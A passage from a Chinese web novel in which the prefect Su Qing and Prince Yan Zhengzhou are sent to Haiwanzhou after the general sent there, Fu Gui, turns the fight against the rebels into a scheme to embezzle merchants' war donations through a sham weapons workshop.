苏清如实道:“朝廷说边境动荡是常态,会加强防守,而且你们都愿意出钱,肯定能组织起来。” “派哪位将领前去调兵遣将?” 苏清知道他想问什么,直白道:“反正不是铮王爷。” 不用多解释。 铮王爷名声在外,战神的名声众所周知。 皇上怎么可能让他再去江南一带扬名。 自己去那边丢人。 晏铮州去那边打胜仗,定然不会允许。 叶山鸣暗骂一句,显然气到极点。 仗打到自己家门口,才知道苏清这样的官员,还有铮王爷这般武将,对当地人来说有多幸运。 接下来一段时日,叶山鸣带来的叶家人,真的在南江县紧邻的一个县建造作坊,还送来一批绣娘,专门在这里纺线织布。 当地县令举双手支持,一边安排绣娘们安顿好,一边鼓励本地妇女去做工。 同时还直接上书,想把南江县到他们县的道路给修好,方便各类材料货物进出。 这般反应,让叶家其他人都吓一跳。 顺昌国的官员,不仅主动做事,还是为百姓商户做事。 这合理吗? 多少年没见过这种事了啊。 等苏知府那边点头,还让户司工司一个批钱一个督造的时候。 叶家众人已经有点想哭了。 这才是正常的办事速度吧? 在广乐府平平无奇的事。 传到扬州后,一些还在犹豫的商户,明显动心了。 扬州商户只是动心。 海万州商户则是直接动身,他们善经营,有手艺,在哪不是过日子。 眼看贼人越来越多,朝廷也不管,还不如去其他地方看看。 广乐府名声在外,不怪他们想去的。 广乐府苏清的名字,则更为响亮。 只要有她在,那里就是整个顺昌国最适合生活的地方。 甚至她周围一带山阳府皋青州,以及她老家都是如此。 随着海边动荡越多,想离开的人自然增加。 不过不是每个人都想离开家乡。 叶祖父吃过益气养神丸后,身体好了不少。 叶山鸣就趁机开口,让他搬到南江县去住,自己在那置办了宅院,去那边颐养天年,也更安全些。 但叶祖父一口拒绝:“这里是我家,我生在这,死也要埋这。” 不过底下子孙搬走,他是不介意的:“我老了,你们还年轻,走到哪算哪。” 像他这种想法的人不在少数。 故而海万州扬州出身的官员,一直给朝廷上书。 请求皇上派兵镇压反贼,还两地百姓太平安稳。 不止他们两地,江南许多地方官员同气连枝,屡次上书,请求皇上派兵。 当然,多数人都举荐同一人。 “希望铮王爷带兵出征!” “铮王爷可是战神,有他带兵,绝对没问题的。” 而这些话听到皇上耳朵里,只有更加生气的份。 他深知自己在江南威望不高,所以新派去的官员,都是对他极为忠心的。 本以为会逐渐扭转这种局面。 没想到反贼作乱,竟然给了晏铮州机会。 晏铮州这次却并未主动请缨,他只是在王爷府中喝茶下棋,鲜少出门。 这般态度,更让江南出身的官员不停给皇上写奏章。 奏章大意是。 铮王爷忠心耿耿,皇上何必担心。 不管从哪方面看,王爷都对您跟太后,都是极为忠诚的。 当年说让他打仗就打仗,说让他丢下兵权他就丢下兵权。 这到底哪里需要担心啊! 朝野上下都认为,铮王爷绝对不会造反。 以他的人品性格,还用得着说吗? 皇上的担心简直是毫无道理。 两者比较,皇上的小心眼似乎更加明显。 而皇上听了众人议论,气得摔打许多东西,可面上还要装作不在乎。 甚至召见晏铮州,假意询问他的意见。 放在之前,晏铮州必然努力争取,并且表示忠心。 这次没了前面的步骤,只表示自己听皇上的。 果然,皇上脸色好了不少,慢悠悠道:“知道就好,退下吧。” 此事传出,就变成铮王爷自己也不愿意出征,并非皇上阻拦。 好在皇上念及地方百姓安危,又派了良将出马。 这样的说法,让不少人对铮王爷多了失望。 不过好在终于派了将士。 海万州不至于被动挨打。 赶在腊月前,京城派出兵部付贵付将军点兵出征。 势必要清缴岛上叛军,还海万州一带百姓太平安稳 付贵今年四十六,在金陵时在皇上左右,对皇上极为忠心。 有这份经历在,回京后一直让他担任要职。 而这次海万州之乱,皇上思来想去,还是付贵去最合适。 这人的忠心,才是他最为看重的。 朝中之人不忠心,或者有不忠心的可能,他都不能忍。 当然了,面上还要装一装,说信任付将军的能力,未必会比铮王爷差。 付贵极为兴奋,立刻道:“陛下信任,微臣万死不辞!” 在付将军看来,此事虽险,却有极大的胜算。 先不说这些叛军,本就是被铮王爷打散的队伍,其实并未什么战力。 再者江南一带富裕,不用担心物资问题。 等他得胜归来,必然能加官进爵。 而且他又不是皇家人。 得了军功也不过是臣子,跟铮王爷那种,还是不一样的。 这么想着,付贵付将军信心满满去往海万州。 果然,到了江南的付贵被无数百姓夹道相迎。 全都期盼这位付将军可以清缴匪贼,还本地一个太平安稳。 不怪百姓们对将军有信心。 当年广乐府那么大的战事,朝廷都能平息。 不说远的,只说近来的通民府,也是匪盗横行的,现在也清理的差不多了。 这说明什么? 说明他们顺昌国还是有能力清缴叛军。 只要出手,一定能赢的。 而且广乐府可以军民合作,他们也可以的。 叶家对此抱了极大热情,主要是病榻上的叶祖父热情。 只要能保卫家乡,保护家园,他们这些商户不惜人力物力。 一时间,海万州跟扬州两地,无数义士云集,有投身军伍的,也有捐钱捐物的。 苏清看着,一时沉默。 顺昌国,或者说皇上,皇家人。 对得起这么热血的百姓吗。 果然,这国家不是他皇帝一个人的。 分明属于无数百姓,属于无数为这片土地奉献的人。 苏清也给那边递消息。 她这边武器作坊随时可以开工,造出来的兵器绝对物美价廉,而且供应及时。 其他武器作坊不敢夸这个海口,广乐府却是敢的。 因为他们如今造出来的农具,已然小有名气。 一个作坊而已,却能供应周围四五个州府的用具。 质量更是非同一般的好。 这几个月里,广乐府农具的名声,已然传遍许多地方。 刚开始大家还不在意。 但源源不断的农具运出来,就让大家摸不着头脑了。 广乐府的作坊是不小。 但真能在短短的时间里,生产出这么多物件吗? 花又菱也有同样的疑惑。 她的生铁作坊已经开足马力,几乎日夜不停。 就这样,还是供应不上武器作坊的需求。 她感觉武器作坊就是个吞铁兽,每次都能消耗无数生铁。 在蒋管事再次催促时,花又菱忍不住道:“我们日日都运生铁过去,你们真的用完了吗?” “我这作坊比你们那作坊大了好几倍啊。” 蒋管事眉毛一挑:“肯定用完了,不然为什么要催你们。” “你们就不能再赶赶工吗?!知道现在我们的农具有多受欢迎吗。” 知道是知道,但花又菱真不信她运去的生铁全都用完了。 其中诀窍,自然是蒸汽机的作用。 从苏清五月份回广乐府,武器作坊的蒸汽机正式使用,改进了炼铁技术跟效率。 接下来几个月里,弓夫子,窦工匠,还有工司营造司主事甄大人,一直在改进。 尤其是上个月,也就是十月份,终于有了大突破。 原本需要三天才能炼完的钢铁,如今一日就成了。 等于说,速度增加了三倍。 这么高的效率,带来的肯定原材料快速消耗。 蒋管事见此,简直狂喜。 太好了! 自打蒸汽机出现,再加上改用皋青州的矿料,他们武器作坊终于实现真正的盈利。 美中不足的,肯定是盈利速度太慢。 毕竟他们是良心作坊,绝对不抬高价格的。 现在好了。 产量提升后。 就可以薄利多销了! 薄利多销! 那就多造农具! 这简直是蒋管事最兴奋的时候,一边催着花又菱多生产生铁。 甚至连皋青州那边都在问,怎么铁矿需求突然增加了。 另一边来联系更多买家。 “之前谁想买我们广乐农具的?现在给你们个机会,快点下订单,我们有产量了!” 此言一出,之前根本抢不到货的买家,蜂拥而至。 别管真的假的,反正他们要来凑凑热闹。 万一真能买到,运到其他地方,肯定能赚钱的。 如今这种环境下,赚钱极为不易的。 抱着这样的想法,不少人都给了订单。 蒋管事见此,竟然全都收下,直接道:“放心吧!全都能交货!” 不管其他人如何吃惊,反正他高兴得很。 赚钱! 给武器作坊赚钱吧! 把之前亏的全都赚回来! 等苏清都听说的时候,广乐府武器作坊的产能,已经震惊无数人。 所以苏清说自家武器物美价廉,还能供应及时时,谁都不觉得奇怪。 付将军还专门来信,提前感谢苏清。 因为他真的需要武器。 苏清看着对方信件。 付贵到了海万州之后,先去点兵点将,然后查看武库仓库 “怪不得没有将士敢往前冲,就这样的盔甲武器,实在打不了仗。” 所以付贵准备采买武器装备,然后训练士兵。 等准备好了,就能在沿海几个港口着重防御,找到机会,一举歼灭。 方法倒是不错,但这样说出来,会不会不大好的。 苏清给晏铮州写信的时候,发出这样的疑问。 晏铮州回她,大致没问题。 但付将军似乎有些轻敌。 两人看着淡定,但难免有些忧虑。 虽说看着付将军失败,对如今局势来说,未必不是好事。 可真看着百姓受难,不是他们二人的性格。 晏铮州派出亲信过去。 这个亲信是打仗的好手,安插其中,既知道动向,也能挽回损失。 苏清则在武器上更加细致,让蒋管事优先武器。 现在都十二月份了,距离明年春耕还有两个月,不算太着急。 给付将军那边的报价,自然高不到哪去。 力保让他们多买些。 信件寄出去,这次没得到回音。 只在年前才收到回信,付将军那边千恩万谢,觉得苏清这边的价格极好云云。 同时还问了药品价格,以及他们这边的医护怎么培训的。 苏清见此,一一做了说明。 只希望江南那边的叛军早日清扫干净。 与此同时,周围皋青州,山阳府,通民府。 甚至连石纹州的长官,都来了信件。 并未说什么要紧的事,只是年前互送节礼,跟苏清打好关系。 作为西北地区一带,苏清俨然成了这里真正的当家人。 无论心里如何想,都要同她这边商议。 而她的在民间的威望,手底下的人手,足以在这一带说一不二。 不仔细算就罢了。 若仔细算的话,如今顺昌国六分之一的地盘,都听苏清的话。 而她这里生产的武器,也在源源不断送到江南一带。 江南的富商则把产业偷偷转移到此地。 这般变化,几乎没人能察觉得到。 因为满朝文武,都在期待海万州的胜仗。 别看顺昌国这些年多灾多难。 但总体来看,却是没吃过什么败仗的,而且很多地方,诸如广乐府通民府等地,田地税收都有所增长。 想来解决了江南沿海叛军的麻烦,再解决闽地叛军的麻烦。 他们顺昌国就真的国泰民安了! 不管这种莫名的信心从何而来,苏清除了表示支持,也没别的话可说。 但付将军忽然一封来信,让她措手不及。 上一封信,还在问苏清武器,药品,以及医护问题。 这一封信,内容让苏清有些不敢置信。 这次不是问,而是要。 直接问她要武器作坊,还点名要他们的新锅炉。 所谓的新锅炉,就是蒸汽机。 不仅是这些东西,还有设计建造蒸汽机的弓夫子,窦工匠,以及甄大人。 付将军给出的理由是。 从广乐府运送武器过来,也需要时间跟运费。 不如把锅炉搬过去,或者把这三个人才送到海万州。 这样对战事来说,自然最好。 付贵给苏清写信的同时,还给武器作坊蒋管事等人写信,力邀他们前去海万州。 更说江南一带更加富裕,去那边有更好的发展。 蒋管事,窦工匠,弓夫子收到信后,第一时间来找苏大人。 甄大人落后一步,但也过来了。 “给蒋管事许诺,会有更赚钱的作坊。”苏清慢慢道。 “给我说的是,手底下生产的武器质量更好。”窦工匠道。 弓夫子着说,那边有更多新奇的想法,等着他做成。 至于甄大人。 简单干脆,许诺他更高的官职。 好好好,挖人挖到她这里了。 苏清简直要被气笑了。 这位付将军打仗,要武器要药品,甚至要医护的经验。 自己哪样没给。 可他仍觉得不足。 还要武器作坊的技术跟人才。 苏清打眼看去。 其他人大概率不会去的,唯有官迷甄大人,明显有心动的意思。 不对。 他已经心动了。 付将军给众人许诺的东西,都是这几人最看重的。 若无内鬼,怎么可能知道的这般清楚。 “武器作坊的蒸汽机了,是又诸位一起做成的。”苏清道,“现在付将军要人,也不能不给。” “谁愿意过去?” 甄大人立刻看向其他人,努力使眼色。 可蒋管事他们,都是经历过劫难,更知打仗没那么简单,他们才不去。 见其他人不开口,甄大人颇有些纠结。 但他还是站出来:“苏大人,多谢您的知遇之恩,要不然我去海万州帮忙? 苏清看向他,笑道:“好啊,就是不知那边许的是什么官。” 甄大人不好意思说,只推脱不知道。 但等他收拾行李,带着家人去往海万州。 苏清就已经得到消息。 原来是许诺,从六品升为从五品。 官迷甄大人哪有不答应的。 而且他自认自己有真本事,肯定能做出一番事业。 蒋管事欲言又止。 送走甄大人的时候,还想劝他几句。 但被弓夫子窦工匠拉走。 劝什么劝,让他去。 等碰的头破血流了,自己就回来了。 竟然背叛苏大人,真是不知好歹。 可看向苏知府,她并未生气,眼神更多的是审视。 苏清心道。 以物美价廉,质量上乘来说。 广乐府的武器领先其他地方太多。 付将军费尽心思要建自己的武器作坊,是为什么? 苏清深吸口气。 有个她不愿相信的答案。 这位付将军,不是去打仗的。 是去捞钱的。 借着造武器的捞钱。 没有比这更好用的名义了。 苏清希望是自己想错了。 可叶山鸣跟晏铮州调查来的消息,跟她推测的一模一样。 付将军短短时间里,兵将没有招募多少。 但在海万州的武器作坊已经弄出来了。 只等甄大人一到,就能开工造武器。 江南一带富商捐款无数,其中大半银钱,都会在这家作坊买武器,用来保卫对方。 别说苏清发现不对劲。 当地久经商场的富商们,同样察觉到异样。 这些人,到底是来打仗的,还是来捞钱的?! 可他们跟海万州扬州当地长官禀告此事。 当地长官们不闻不问。 显然早就跟付将军勾结起来,就是要这件事赚富商们的捐款。 怎么可以这样?! 叛军作乱,但你们想到的,是可以贪墨银子?! 叶山鸣这般洒脱的人,都被气的七窍生烟。 叶祖父则气的差点吐血。 其他捐了巨款的富商,更是直接要砸他们的作坊。 本以为升官了的甄大人直接被砸的头破血流。 这种事情,谁会不恼啊! 本地富商跟百姓见此,几十万人联名请命。 “请皇上派出铮王爷与苏知府来此督战!” “除了他们两个,我们谁都不信!” “没错!想要剿灭叛军,我们只信他们二人!” 群情激奋,无以言表。 吓得付将军等人根本不敢出军营。 而军营里的士兵,也多是本地人。 有一部分,还是这段时间入伍的,为的就是保卫家乡。 现在告诉他们,新来的将军不打仗,只捞钱。 这些好义之人没有直接动手,已经是克制的了。 “呸,算什么东西。” “怂货。” 跟狗皇帝一样。 怪不得反贼多呢,我们也想反了。 腊月十一。 早朝一片寂静。 只有皇上喘着沉重地粗气。 下面的官员,有的不敢出声,有的怒目而视。 后者多少是江南籍贯的文官,家里或许还给付将军捐过钱。 原本好好的事,直接成了一场闹剧。 看皇上怎么收场。 反正海万州百姓只要铮王爷跟苏知府。 其他人一概不理。 救救当地百姓怎么了。 他们只是想过好自己的日子,这有什么错?! 若不派苏知府跟铮王爷。 那他们海万州也会反的! 第77章 “刁民,都是刁民!”皇上气急,又吃了几粒益气养神丸,但心头怒火根本平息不下来。 怎么会有这样的刁民。 稍有不如意的,就喊着造反。 “还是朕平日对他们太好了。”皇上咬牙道。 勤政殿内,臣子们个个敛声屏气,但显然已经习惯了。 许久过后,才有个声音道:“那付将军贪财无度,才惹得群情激奋,如今也只能按照他们所说的了。” 一个铮王爷,一个苏知府。 把这两人派过去,问题就能解决大半。 皇上冷眼看着这人,知道他们同乡同气连枝:“怎么,你在教朕怎么做皇帝吗。” 众人连忙跪下,嘴里说着不敢。 可大家的态度非常明白。 之前他们要铮王爷,可您疑心病犯了,派了个心腹付将军过去。 付将军去了两个月,仗没有打,撺掇着要搞什么武器作坊。 还把苏清手底下的人挖走了。 如果只到这里,大家也不说什么。 反正打仗要武器这事也没错。 而且对苏清如何改进炼铁技术的,大家也好奇。 关键是,把作坊建好了,人弄来了。 原来就是为了中饱私囊啊? 造出来的武器质量差不说,卖的还贵。 人家苏清从广乐府运过来的武器,说一句物美价廉,一点也不为过。 你们就是不要。 原来不是为了节约成本。 而是为了自己赚钱啊。 不怪大家生气,是这事做的离谱。 再加上本地长官跟付将军他们勾结。 搞得海万州一带乌烟瘴气。 如果再不反抗,真当他们是软柿子吗? 事情一直僵持到腊月十九。 皇上终于松口,阴沉着脸让铮王爷出征,而且在年前就过去接替付贵付将军。 至于苏清,也要在年前过去。 你们不是厉害吗? 那就去好了。 这下可别说什么,朕不听劝了。 皇上只觉得自己这个皇帝做的憋屈。 刚登基时,太后一心掌权。 不过好歹是自己母亲,而且他也把权力拿回来了。 如今国泰民安风调雨顺。 他不过想修个皇陵,为什么这般针对。 苏清跟晏铮州两人,可真是好啊。 还真是了不得。 既然众望所归,那就去。 反正这是朕的天下。 做的再好,也是朕的臣子。 抱着这样的想法,如此寒冬时节。 苏清跟晏铮州都要启程去海万州。 毕竟皇命不可违。 对于晏铮州去海万州,苏清是有想过的。 朝中能打的将军不多。 派他过去,不仅百姓放心,还能打胜仗。 皇上自己也明白,晏铮州不是个会造反的人。 但海万州百姓让她过去,倒是个意外。 对于此事,叶山鸣是有答案的。 “是因为去年的事。” 去年顺昌国各地水灾,以徽州一带最为严重。 当时朝廷收广乐府重税,她还号召本地大户捐粮,让朝廷也不能装作没看到。 徽州一带距离海万州不算远。 这消息自然传开。 再加上她所在的广乐府,情况那样好,都是众所周知的。 天底下的百姓并不愚昧,以最朴素的想法,也知道谁好谁不好。 冲着这份信任,苏清也会全力帮忙的。 广乐府交给邬户司,苏清已经很放心了。 其他几个地方的联络,就交给罗主簿。 但凡有事,直接给她去信即可。 临走之前,苏清又去看了趟梅娘,便带着云喜绿兰,再加上全经武等长随书吏。 武捕头依旧带人负责安全。 腊月二十一,雪越下越大。 苏清等人第二日出发。 经常往返两地的叶山鸣经验丰富,安排好路上行程。 “要是早点,还能坐船更平稳些。”叶山鸣道,“现在只能坐马车骑马了。” 从广乐府到海万州,路程约有三千二百里。 现在天气不算好,前面日行八十就不错了。 越往南走,天气越温暖,到时候就能日夜兼程。 算下来差不多要走二十天。 他们这行人,包括从京城过来的铮王爷等人。 大概率要在路上过年。 叶山鸣皱眉:“皇上分明是故意的。” 身边随行的,不管叶家人还是苏清手下,都是自己人,面孔都很熟悉了,说起话也没什么顾忌。 但还是皇上一贯的手段,太下作太小心眼。 说完,叶山鸣看了看苏清,开口道:“以你的性子,竟然不报复回去?” 她可不是吃闷亏的人。 那什么付将军,不仅辜负她的好意的,还把甄大人挖走。 还有皇上,硬是让他们年前出发,过年都在路上。 这压根不合理。 苏清挑眉:“怎么报复,人家可是皇上。皇上一言九鼎,我这个做臣子的,只能听令了。” 叶山鸣听后笑了半晌,其实他也不知道哪里好笑,就是觉得这话不该从苏清嘴里说出来。 但凡她对皇上恭敬些,也不会在大冬天的时候,被外派出差。 虽是深冬,但越往南走气候越温暖。 云喜绿兰他们都没出过远门。 全经武也说:“寒冬腊月的,这里的水面竟然不结冰。” 苏清随口道:“他们那还不下雪呢。” 放到信息通畅的现代,南北差异之大都会让网友们感慨。 何况道路不同,信息不流畅的古代。 也就叶山鸣走南闯北的,对此了解的多些,他惊讶地看眼苏清。 要说苏清去过的地方,不说跟女子比,就算跟男子相比,去的地方也不少。 但无论皋青州还是山阳府通民府,以及京城,都属于北方。 但听她说起江南粤地风土人情,竟然大差不差。 苏清见他表情,随口解释道:“书上看的。” 不管是不是书上看,都很厉害了。 一直到腊月二十九,官道上已经没什么人了。 周边客店也多关门闭户。 一个是太冷,另一个就是大家都在家过年。 不是极为紧急的事,谁赶在过年的时候出门。 等进了一处城,苏清问道:“这是什么地界了。” 叶山鸣答:“晋南的运城。” 那也是个不小的地方,苏清看了看身边,开口道:“明日大年三十,就在此地歇息吧。” 不赶路了? 若让朝廷知道,肯定又有话说。 苏清毫不在意:“山高皇帝远的,怕他们作甚。” “大过年的,先休息好了再说。” 叶山鸣笑,这才是苏清性格。 他立刻吩咐人手,找本地最大的酒楼,租用两处院子,再高价请来厨子厨娘。 苏清另出了银钱,准备一直到待到初二再启程。 也不让身边人跟着,所有人都好好休息休息,算是过年了。 不仅如此,又亲自买了年货,包了红包。 本就是跟自己出来,若不好好对待,岂不是亏心。 不过他们刚刚住下,运城本地官员便听说了,连忙抬着礼物过来。 说起来,广乐府好几处作坊都跟运城这边有联系。 尤其是生铁作坊武器作坊,买了大量运城煤炭。 在诸多买家里,他们也属于好主顾了,从不拖欠银两。 长官知道苏清他们要去什么地方,又要办什么差,也是连连感慨。 朝廷也是,好端端的,连个年也不让过安生。 但他刚走没一会,听到下人道:“大人!铮王爷来了!也住到苏大人落脚的酒楼了。” 铮王爷?! 他去海万州怎么会路过运城啊。 这是绕路了? “先不想了,快点采买礼物,赶去拜见。” 大过年,突然来了两个重要人物,谁不慌张。 好在铮王爷跟苏大人都直接说了:“不过是偶然路过,大家忙自己的事即可。” “不用为我们费心,等过了年节,我们就启程了。” 身在高位,却不倚强凌弱。 怪不得他们两人名声极好,也怪不得海万州百姓联名请求二人去他们那剿贼。 别说运城官员对铮王爷的到来十分惊讶,苏清叶山鸣何尝不是。 尤其是叶山鸣,铮王爷做事一向谨慎,更不会得罪皇上。 这般行事,确实有些让人意外。 可苏清的嘴角一直没下去过,心情显然格外好。 叶山鸣看了两人,眼神中的震惊根本藏不住。 偏偏铮王爷还道:“请叶公子暂时回避,我与苏大人有公事商议。” 大过年的。 能有什么事情商议。 就算有事,也该到了海万州再说。 叶山鸣做生意多年,见过不知多少人。 怎么可能看不明白苏清笑的不对劲,那铮王爷虽然冷着脸,眼神却一直在她身上。 过了片刻,叶山鸣退出房间。 他忽然想到。 铮王爷是忠心耿耿的。 苏清却是个“大逆不道”的。 他们两人关系如此好,倒不知谁会影响谁。 叶山鸣心里给苏清投了一票。 她想做的事,没有不成的。 叶山鸣慢慢后退,离开苏清的院子,对其他人道:“里面有公事要谈,万不可靠近,等苏大人吩咐了再说。” 而房间里面,苏清只是笑:“你怎么来了?” 晏铮州没说话,但表情非常明显。 你说我怎么来了? 苏清以为他想跟自己过年。 没想到对方却开口:“那个西洋镜,是叶公子给的?” 苏清沉默。 猴年马月的事情了,怎么还旧事重提。 她早就忘了啊 晏铮州见她不答,主动靠近,紧紧盯着她:“还有几个。” 什么还有几个。 苏清完全不明白他说什么啊。 苏清试图装傻,却被人拦腰带回来。 晏铮州轻笑声,像是不再追问,但他慢悠悠道:“我跟我哥,这点还是很像的。” 什么? 小心眼。 苏清笑倒在他身上,拍拍晏铮州的胸肌:“放心,我还是更喜欢这个。” 不是说别人不好的意思。 是论身材样貌,晏铮州绝对属于顶尖。 这张脸这个身材放到后世,绝对属于荷尔蒙爆炸的男明星行列。 晏铮州低头看她,喉咙滚动。 转道过来,果然是对的。 过年这两日,确实没什么公事要谈。 主打的就是让手底下人放松休息。 多聚在一起吃酒打牌,当地官员还送来几个唱曲的,也算是解闷。 无论是苏清晏铮州还是叶山鸣,又或者当地长官。 大家都知道,也就歇息这一两日。 初二启程之后,一日也不得闲了。 唯有叶山鸣非常沉默,只是帮着打点行装。 其实他也想问,到底有多少人爱慕苏清,他排队是不是都排不上号。 先一个顾从斯,再一个花景明,听说还有个守备,之前她身边还有个书吏,看她的时候的眼里都是崇拜。 皇上更不用说,但凡苏清有些意思,她就不是苏大人,而是宠妃了。 现在又来个王爷。 那他还是安心排队吧? 不过苏清跟晏铮州都不是因私废公的。 除非某方有意表示,外人都看不出来。 永晟七年,正月初二。 一行众人从运城出发。 看着他们的背影,当地长官道:“差事做的太好,也不行啊。” 既被皇上忌惮,还要在冬日里前行。 这日子,谁想过啊。 所以保全自己就好了,不要多做无用功。 苏清等人继续往南走。 越往南走,速度越快。 终于赶在正月十五前到了扬州。 叶山鸣在此停住脚步,目送苏清他们去海万州。 那边的情况,苏清基本已经了解,心里都有数的。 而他们还未到,消息已经传遍海万州。 上次付将军来时,所有人都抱着期待,甚至夹道欢迎。 但结果如何,大家都知道了。 所以这次铮王爷进城,海万州百姓并无太大反应。 他们并不是不期待,而是不敢期待。 “铮王爷之前百战百胜,应该更期待才是。” “战神?那你知道,他根本不想来海万州吗。” “不想来?” “对啊,就是他不想来,皇上才派的付贵付将军那个贪财的。” 对于这个传言,苏清跟晏铮州都知道。 还是皇上的手笔,既不想让他来,又不想担责任。 也不能责怪百姓们相信。 谁让朝廷一向不靠谱,而且传言还有鼻子有眼的。 所以苏清跟晏铮州进城,显得格外冷清。 但两人都不在意这种虚名,直奔海万州州衙门。 此时本地知州跟付将军都在等着。 海万州知州姓张,正是今年的新科进士。 家里塞银子找关系,让他来了此地。 本想着无非流寇作乱,哪个地方没有呢,没想到出了这么大乱子。 更没想到,他被付将军一撺掇,就起了敛财的想法。 如果不是苏清及时发现问题。 张知州跟付将军,已经把江南各地捐款装到自己口袋了。 按理说两人应该去迎接的铮王爷跟苏大人。 可谁都不愿意动。 面对来夺权的人,谁又愿意笑脸相迎。 更别说,他们都有些惧怕那两位。 付将军惧怕铮王爷,这很好理解。 他们都是武将,都说文无第一,武无第二,对彼此实力跟武力心中有数。 自己跟铮王爷若两军对垒,自己若能赢一次,都是祖坟冒青烟了。 张知州害怕苏清,则处于本能的惧怕。 别看她是女子,年纪还比自己小。 但做官经验丰富啊。 在她手底下,多少贪官污吏,乡绅豪强,全都跪地求饶。 求饶也没用,就像那花家,还不是卖掉大部分田地,才被苏大人饶过。 “不要未战先怯。”付将军咬牙道,“现在就怕了,一会见到他们,那怎么办?” 张知州看着他颤抖的模样,心道,你还不如我呢。 两人无比惧怕,可该来的还是会来。 苏清跟铮王爷前脚后进门,就见两人蹭的一下站起来,头低得很深。 苏清跟晏铮州奉皇命而来,众人立刻跪迎接。 等圣旨读完,付将军跟张知州的官,暂时也就做到头了。 两人全都革职查办,暂时拘在家中,协助苏大人铮王爷办差。 “若好好配合,还能往上说说情,配合的不好的,就别怪我们的奏章不客气了。” 别管皇上对苏清晏铮州两人什么态度。 但既然来了,他们的奏章就会极为重要。 张知州跟付将军,乃至张付两家以后的命运,都在他们手中。 果然,听到这句话后,这两人再次行礼,显然是怕了的。 上来先给个下马威,也是方便办差。 晏铮州带着付将军去军营查看情况。 衙门就交给苏清,有她暂做主事。 眼看这两人刚到海万州,便马不停蹄做事。 此地官吏叫苦不迭。 他们两个还极有经验,军营跟衙门的差事无一不精,谁想糊弄都会被打回来。 苏清先查了衙门的账目。 很多明细都不忍直视。 要不是海万州背靠海港,情况肯定更差。 但现在海港附近总有叛军驾着小船出没,很是危险,影响船只通行。 至于渔民跟农户,日子就比较辛苦了。 他们平时劳作,农闲休渔的时候就去码头做事。 一年下来日子还过得去。 这几年随着码头船只增多,收入有所提升。 若不是叛贼作乱,日子其实是有出路的。 了解完这些,苏清就把目光看向张知州。 苏清对张大人没什么印象。 但看他的眼神,明显认识自己。 也是,但凡新科进士,都在琼林宴上见过她。 苏清笑道:“张大人别来无恙。” “苏大人,您还记得我?”张知州立刻道。 苏清没有说是或不是,只道:“皇上对新科进士寄予厚望,否则也不会把许多进士点为知州。” “张大人,实在辜负皇上信任。” 寄予厚望。 辜负信任。 这种话对职场老油条来说不算什么。 但对张知州这种刚做官没多久的,实在脸上挂不住。 “属下,属下愧对皇上。”张知州说完,发现身边书吏一个劲摇头。 有些事可以做,但不能认,您可别说了。 见他不再说话,苏清也不强求,只道:“本官来此地也有三日了。” “带我去见见海万州的武器作坊吧。” 张知州身边书吏,更是面如菜色。 这简直哪壶不开提哪壶。 所谓的武器作坊,都是从苏清手里挖过去的。 虽然只挖了个甄大人,那也是挖人。 看来这位苏大人是去算账的。 对于这些人的想法,苏清压根懒得管。 她不过是去看看情况。 如果海万州真的有个武器作坊,对本地战事来说,定是好事。 早点剿灭叛军,这才是头等要事。 去到海万州的武器作坊,苏清都有点恍惚了。 她没看过吧的? 云喜道:“大人,这不就是咱们广乐府的武器作坊吗。” 是啊,这不是一模一样吗? 照着他们广乐府的作坊抄啊? 走到作坊里面,从广乐府来的众人都沉默了。 只抄外表,不抄内在? 作坊本就管理混乱,出事之后更加不堪。 这就算了。 只要里面的锅炉设备没问题即可。 苏清整顿清楚后,就能开工做事。 张知州付将军把甄大人挖过来,不就是为了技术更先进的蒸汽机吗。 苏清以为这蒸汽机已经做好了。 可这作坊里,哪里有蒸汽机的影子? 里面的锅炉甚至堪称简陋,别说造兵器了,就算造一般铁器,都不会用这般简陋的物件啊。 还好窦工匠没过来,否则肯定会被气死的。 苏清看了一圈,开口问道:“此地不是甄大人负责吗?他在哪?” 话音落下,甄大人才慢吞吞走出来,眼神里都是哀求。 想当初,这位甄举人是弓夫子举荐,苏清从京城带出来的。 知道他是个官迷,苏清也没多想,给了个合适的官职,就让他做自己擅长的事了。 蒸汽机做的也确实顺利,苏清并未多管。 之后的背叛倒也是意料之内。 只是他背叛的太快,让苏清都反思了一下自己。 因利而聚因利而散是常态。 自己只想着用官职诱惑,人家遇到更高的职位,自然也会走。 故而苏清看到甄大人,其实并没有太生气,只是公事公办道:“甄大人,此地的蒸汽机呢。” 甄大人知道苏清的性格,明白她不会迁怒自己。 但一点责备也没有,还是让他忍不住落泪。 还不是暗自垂泪那种,甄大人当场嚎啕大哭。 吓得苏清后退半步,武捕头道:“哭什么哭,苏大人问你话呢。” 旁边张知州擦擦头上的汗。 甄大人这般状况,自然是他跟付将军的问题。 要说从广乐府挖人。 他俩也没想到会那般顺利。 毕竟苏清那边的情况,大家都知道,稍微聪明点的人,都不会离开。 岂料这甄大人一听说升官,立刻就应下了。 还说明了广乐府武器作坊内部情况,当然只说了周围人的性格,还有极为好用的蒸汽机。 其他的? 其他的不是不想说,而是压根不知道。 把人弄过来之后,张知州跟付将军并未重用,更没有加官进爵,只让他领着武器作坊做事。 然后,武器作坊就成这样了。 甄大人只会造蒸汽机,什么管理采买,一概不知。 问他广乐府各种材料的价格,以及成本如何,还是不知道。 因为这些事,他根本不用操心啊。 不过甄大人对建造蒸汽机所需各色材料的数量,倒是了如指掌。 还给张知州开了个单子,让他按照单子上购买。 张知州一看需要的东西,立刻推脱。 原因? 自是因为,这建造蒸汽机也太贵了。 他们是来捞钱的。 哪有不捞钱,先花钱的。 不行不行。 不造了。 随便买个锅炉能用即可。 苏清听的头昏脑涨,恨不得自己吃一粒益气养神丸。 简直是一群蠢货。 甄大人此刻痛哭,也是发现来了之后,不仅做不成事,也升不了官。 家人去采买时还被偷取财物,回家路上又遇到匪贼作乱。 他们全家来的时候有多高兴。 现在就有多颓丧。 在广乐府攒的银子,如今去了大半,日子都过不成了。 “我还是适合广乐府,苏大人,您就让我回广乐府吧,要么我回京城。”甄大人哭着说道。 但一向看着好说话的苏清,此刻却并不答应,轻笑道:“回广乐府是肯定不成的,京城老家也不用想了,你只能留下来。” 只能留下?! “这里叛军横行,贼人也多,大人我真的过不下去。” 苏清嫌他聒噪,直接道:“什么时候建起真正的蒸汽机,什么时候再提走的事。” “你只管造机器,其他事情不用管了。” 苏清看了一圈,目光放在云喜绿兰两兄妹身上。 两人都拜了余内官为义父,也是真正的兄妹关系。 他们跟自己时间也久,可以试试自己做事了。 “你们两个,一个外务,一个管内账,可好?” 余云喜刘绿兰立刻答应:“领命!” 他们早就迫不及待了! “有什么事及时告诉我。” 张知州欲言又止。 